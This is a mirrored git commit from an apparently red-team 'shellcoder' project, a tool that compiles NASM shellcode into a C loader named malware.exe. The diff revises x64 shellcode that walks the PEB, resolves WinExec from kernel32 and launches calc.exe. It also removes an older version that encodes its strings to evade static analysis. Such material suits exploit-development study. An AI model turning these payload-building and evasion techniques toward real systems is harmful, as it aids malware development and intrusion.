mirror of
https://github.com/Print3M/shellcoder
synced 2026-06-08 12:15:36 +00:00
Ready to go
This commit is contained in:
@@ -1,21 +1,60 @@
|
||||
# Shellcoder.py
|
||||
# Shellcoder.py 🐚⌨️
|
||||
|
||||
Write your shellcode in Assembly and execute it with one command!
|
||||
Write your shellcode in Assembly (NASM) and compile it on Windows x64 with one command!
|
||||
|
||||
This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command!
|
||||
This script helps automate the shellcode development and testing process. It takes your Assembly file with the payload (`shellcode.asm`) and generates a bunch of useful executable files (read below).
|
||||
|
||||
You don't have to repeat all these tedious activities anymore to make your shellcode executable! Keep your focus on shellcoding 🔥🐚🔥
|
||||
|
||||
## Installation
|
||||
|
||||
The following software must be installed on your system:
|
||||
|
||||
- [Python 3](https://www.python.org/downloads/)
|
||||
- [NASM (Netwide Assembler)](https://www.nasm.us/)
|
||||
- [Visual Studio 2022](https://visualstudio.microsoft.com/)
|
||||
|
||||
No Python dependencies are necessary! You are ready to go.
|
||||
|
||||
## Usage
|
||||
|
||||
Shellcoder script most probably should be used on Windows because of the MSVC requirement.
|
||||
|
||||
1. Write your shellcode in `shellcode.asm`
|
||||
2. Run `python shellcoder.py`
|
||||
3. Execute output `.exe` file in `out/` directory!
|
||||
3. Execute `out/malware.exe` file!
|
||||
|
||||
> **IMPORTANT**: Indicate that you are using 64-bit mode at the beginning of the assembly file. Add `[bits 64]` to the `shellcode.asm`.
|
||||

|
||||
|
||||
## External dependencies
|
||||
## Output files
|
||||
|
||||
- Python 3
|
||||
- NASM (Netwide Assembler)
|
||||
- Visual Studio 2022
|
||||
The output files of this script are stored in `out/` directory:
|
||||
|
||||
- `malware.c` - loader code with the injected payload as C string.
|
||||
- `malware.exe` - compiled loader with the injected payload.
|
||||
- `shellcode.exe` - executable file with the payload only. Great for debugging!
|
||||
- `shellcode.bin` - raw machine code of the assembly payload.
|
||||
|
||||

|
||||
|
||||
## Caveats
|
||||
|
||||
- Indicate that you are using 64-bit mode at the beginning of the assembly file. Add `[bits 64]` to the `shellcode.asm`.
|
||||
- Define entry point in assembly file (required for debugging):
|
||||
|
||||
```nasm
|
||||
[bits 64]
|
||||
|
||||
section .text:
|
||||
global _start
|
||||
|
||||
_start:
|
||||
[...YOUR CODE HERE...]
|
||||
```
|
||||
|
||||
- You cannot use sections other than `.text`. It's a shellcode!
|
||||
- Remember about [Microsoft x64 Calling Convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170) (stack alignment + shadow space!)
|
||||
|
||||
## How to debug the payload?
|
||||
|
||||
The best way to debug your assembly code is to take `out/shellcode.exe` file and load it into your favorite debugger.
|
||||
|
||||
Finally you should run `out/malware.exe` to be sure that your payload works as intended after memory injection.
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 39 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 13 KiB |
+43
-44
@@ -1,59 +1,59 @@
|
||||
[bits 64]
|
||||
|
||||
;; TODO: DEBUG this shiiiit (x64dbg)
|
||||
section .text:
|
||||
global _start
|
||||
global _start
|
||||
|
||||
_start:
|
||||
|
||||
; Access PEB structure
|
||||
xor rbx, rbx
|
||||
mov rbx, gs:[0x60] ; RBX = address of PEB struct
|
||||
mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
|
||||
add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList
|
||||
mov rbx, gs:[0x60] ; RBX = address of PEB struct
|
||||
mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
|
||||
add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList
|
||||
|
||||
; Go down the double-link list of PEB_LDR_DATA
|
||||
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
|
||||
mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
|
||||
mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
|
||||
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
|
||||
mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
|
||||
mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
|
||||
|
||||
; Get VA address of kernel32.dll
|
||||
mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll)
|
||||
mov r8, rbx ; R8 = RBX (address of kernel32.dll)
|
||||
mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll)
|
||||
mov r8, rbx ; R8 = RBX (address of kernel32.dll)
|
||||
|
||||
; Get VA address of ExportTable (kernel32.dll)
|
||||
mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
|
||||
add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders
|
||||
mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
|
||||
add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders
|
||||
|
||||
xor rcx, rcx
|
||||
add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA)
|
||||
mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA
|
||||
add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable
|
||||
mov r9, rbx ; R9 = &ExportTable
|
||||
add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA)
|
||||
mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA
|
||||
add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable
|
||||
mov r9, rbx ; R9 = &ExportTable
|
||||
|
||||
; Get VA address of ExportTable.AddressOfFunctions
|
||||
xor r10, r10
|
||||
mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
|
||||
add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions
|
||||
mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
|
||||
add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions
|
||||
|
||||
; Get VA address of ExportTable.AddressOfNames
|
||||
xor r11, r11
|
||||
mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
|
||||
add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames
|
||||
mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
|
||||
add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames
|
||||
|
||||
; Get VA address of ExportTable.AddressOfNameOrdinals
|
||||
xor r12, r12
|
||||
mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
|
||||
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
|
||||
mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
|
||||
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
|
||||
|
||||
; Get address of WinExec function exported from kernel32.dll
|
||||
xor rcx, rcx
|
||||
add cl, 0x7 ; RCX = function name length ("WinExec" == 7)
|
||||
add cl, 7 ; RCX = function name length ("WinExec" == 7)
|
||||
|
||||
xor rax, rax
|
||||
push ax ; STACK + null terminator (2)
|
||||
mov rax, 0x00636578456E6957 ; RAX = function name = "cexEniW" (WinExec) + 0x00
|
||||
push rax ; STACK + null terminator (8)
|
||||
mov rax, 0x00636578456E6957 ; RAX = function name = \0 + "cexEniW" (WinExec)
|
||||
push rax ; STACK + function name address (8)
|
||||
mov rsi, rsp ; RSI = &function_name
|
||||
mov rbx, rsp ; RSI = &function_name
|
||||
|
||||
call get_winapi_func
|
||||
mov r13, rax ; R13 = &WinExec
|
||||
@@ -64,18 +64,20 @@ mov r13, rax ; R13 = &WinExec
|
||||
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
|
||||
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
|
||||
; );
|
||||
xor rax, rax
|
||||
xor rcx, rcx
|
||||
xor rdx, rdx
|
||||
|
||||
push ax ; STACK + null terminator (2)
|
||||
mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
|
||||
push rax ; STACK + command string (8)
|
||||
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
|
||||
push rcx ; STACK + null terminator (8)
|
||||
mov rcx, 0x6578652e636c6163 ; RCX = "exe.clac" (command string: calc.exe)
|
||||
push rcx ; STACK + command string (8)
|
||||
|
||||
mov dl, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
|
||||
; Why is here "sub rsp, 0x20" originally ???
|
||||
call r13 ; Call WinExec(rax, rdx)
|
||||
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
|
||||
mov rdx, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
|
||||
|
||||
and rsp, -16 ; 16-byte Stack Alignment
|
||||
sub rsp, 32 ; STACK + 32 bytes (shadow space)
|
||||
|
||||
call r13 ; WinExec("calc.exe", SW_SHOWNORMAL)
|
||||
|
||||
get_winapi_func:
|
||||
; Requirements (preserved):
|
||||
@@ -84,7 +86,7 @@ get_winapi_func:
|
||||
; R11 = &AddressOfNames (ExportTable)
|
||||
; R12 = &AddressOfNameOrdinals (ExportTable)
|
||||
; Parameters (preserved):
|
||||
; RSI = (char*) function_name
|
||||
; RBX = (char*) function_name
|
||||
; RCX = (int) length of function_name string
|
||||
; Returns:
|
||||
; RAX = &function
|
||||
@@ -98,16 +100,13 @@ get_winapi_func:
|
||||
; Loop through AddressOfNames array:
|
||||
; array item = function name RVA (4 bytes)
|
||||
loop:
|
||||
mov rcx, [rsp] ; RCX = length of function_name string
|
||||
xor rdi, rdi ; RDI = 0
|
||||
mov rcx, [rsp] ; RCX = length of function_name string
|
||||
mov rsi, rbx ; RSI = (char*) function_name
|
||||
|
||||
mov edi, [r11+rax*4] ; RDI = function name RVA
|
||||
add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll
|
||||
repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name)
|
||||
; FIXME: Item NOT FOUND: RDI, RSI
|
||||
; Something's wrong with stack placing of the function name string.
|
||||
; Why is there "shr rax, 0x8" originally? WTF?
|
||||
; R11 = correct
|
||||
repe cmpsb ; Compare byte *RDI (array item str) and *RSI (param function name)
|
||||
|
||||
je resolve_func_addr ; Jump if exported function name == param function name
|
||||
|
||||
@@ -116,7 +115,7 @@ get_winapi_func:
|
||||
|
||||
resolve_func_addr:
|
||||
pop rcx ; STACK - RCX (8) = remove length of function_name string
|
||||
mov ax, [r12+rax*2] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2)
|
||||
mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4)
|
||||
mov ax, [r12+rax*2] ; RAX = OrdinalNumber = &AddressOfNameOrdinals + (counter * 2)
|
||||
mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (OrdinalNumber * 4)
|
||||
add rax, r8 ; RAX = &function = function RVA + &kernel32.dll
|
||||
ret
|
||||
ret
|
||||
@@ -1,98 +0,0 @@
|
||||
[bits 64]
|
||||
|
||||
section .text:
|
||||
global _start
|
||||
|
||||
_start:
|
||||
xor rdi, rdi ; RDI = 0x0
|
||||
mul rdi ; RAX&RDX =0x0
|
||||
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
|
||||
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
|
||||
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
|
||||
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
|
||||
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
|
||||
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
|
||||
mov r8, rbx ; RBX & R8 = &kernel32.dll
|
||||
|
||||
; Get kernel32.dll ExportTable Address
|
||||
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
|
||||
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
|
||||
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
|
||||
add cx, 0x88ff
|
||||
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
|
||||
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
|
||||
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
|
||||
|
||||
; Get &AddressTable from Kernel32.dll ExportTable
|
||||
xor r10, r10
|
||||
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
|
||||
add r10, r8 ; R10 = &AddressTable
|
||||
|
||||
; Get &NamePointerTable from Kernel32.dll ExportTable
|
||||
xor r11, r11
|
||||
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
|
||||
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
|
||||
|
||||
; Get &OrdinalTable from Kernel32.dll ExportTable
|
||||
xor r12, r12
|
||||
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
|
||||
add r12, r8 ; R12 = &OrdinalTable
|
||||
|
||||
jmp short apis
|
||||
|
||||
; Get the address of the API from the Kernel32.dll ExportTable
|
||||
getapiaddr:
|
||||
pop rbx ; save the return address for ret 2 caller after API address is found
|
||||
pop rcx ; Get the string length counter from stack
|
||||
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
|
||||
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
|
||||
push rcx ; push the string length counter to stack
|
||||
loop:
|
||||
mov rcx, [rsp] ; reset the string length counter from the stack
|
||||
xor rdi,rdi ; Clear RDI for setting up string name retrieval
|
||||
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
|
||||
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
|
||||
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
|
||||
repe cmpsb ; Compare strings at RDI & RSI
|
||||
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
|
||||
incloop:
|
||||
inc rax
|
||||
jmp short loop
|
||||
|
||||
; Find the address of GetProcAddress by using the last value of the Counter
|
||||
resolveaddr:
|
||||
pop rcx ; remove string length counter from top of stack
|
||||
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
|
||||
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
|
||||
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
|
||||
push rbx ; place the return address from the api string call back on the top of the stack
|
||||
ret ; return to API caller
|
||||
|
||||
apis: ; API Names to resolve addresses
|
||||
; WinExec | String length : 7
|
||||
xor rcx, rcx
|
||||
add cl, 0x7 ; String length for compare string
|
||||
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
|
||||
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
|
||||
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
|
||||
push rax
|
||||
push rcx ; push the string length counter to stack
|
||||
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
|
||||
mov r14, rax ; R14 = Kernel32.WinExec Address
|
||||
|
||||
; UINT WinExec(
|
||||
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
|
||||
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
|
||||
; );
|
||||
xor rcx, rcx
|
||||
mul rcx ; RAX & RDX & RCX = 0x0
|
||||
; calc.exe | String length : 8
|
||||
push rax ; Null terminate string on stack
|
||||
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
|
||||
not rax
|
||||
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
|
||||
push rax ; RSP = "calc.exe",0x0
|
||||
mov rcx, rsp ; RCX = "calc.exe",0x0
|
||||
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
|
||||
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
|
||||
call r14 ; Call WinExec("calc.exe", SW_HIDE)
|
||||
+1
-1
@@ -50,7 +50,7 @@ def get_msvc_console_environs() -> dict[str, str]:
|
||||
print(f"[!] MSVC Developer Console error: {process.stderr}")
|
||||
sys.exit(-1)
|
||||
|
||||
envs = {}
|
||||
envs: dict[str, str] = {}
|
||||
for line in process.stdout.splitlines():
|
||||
if '=' in line:
|
||||
key, value = line.split('=', 1)
|
||||
|
||||
Reference in New Issue
Block a user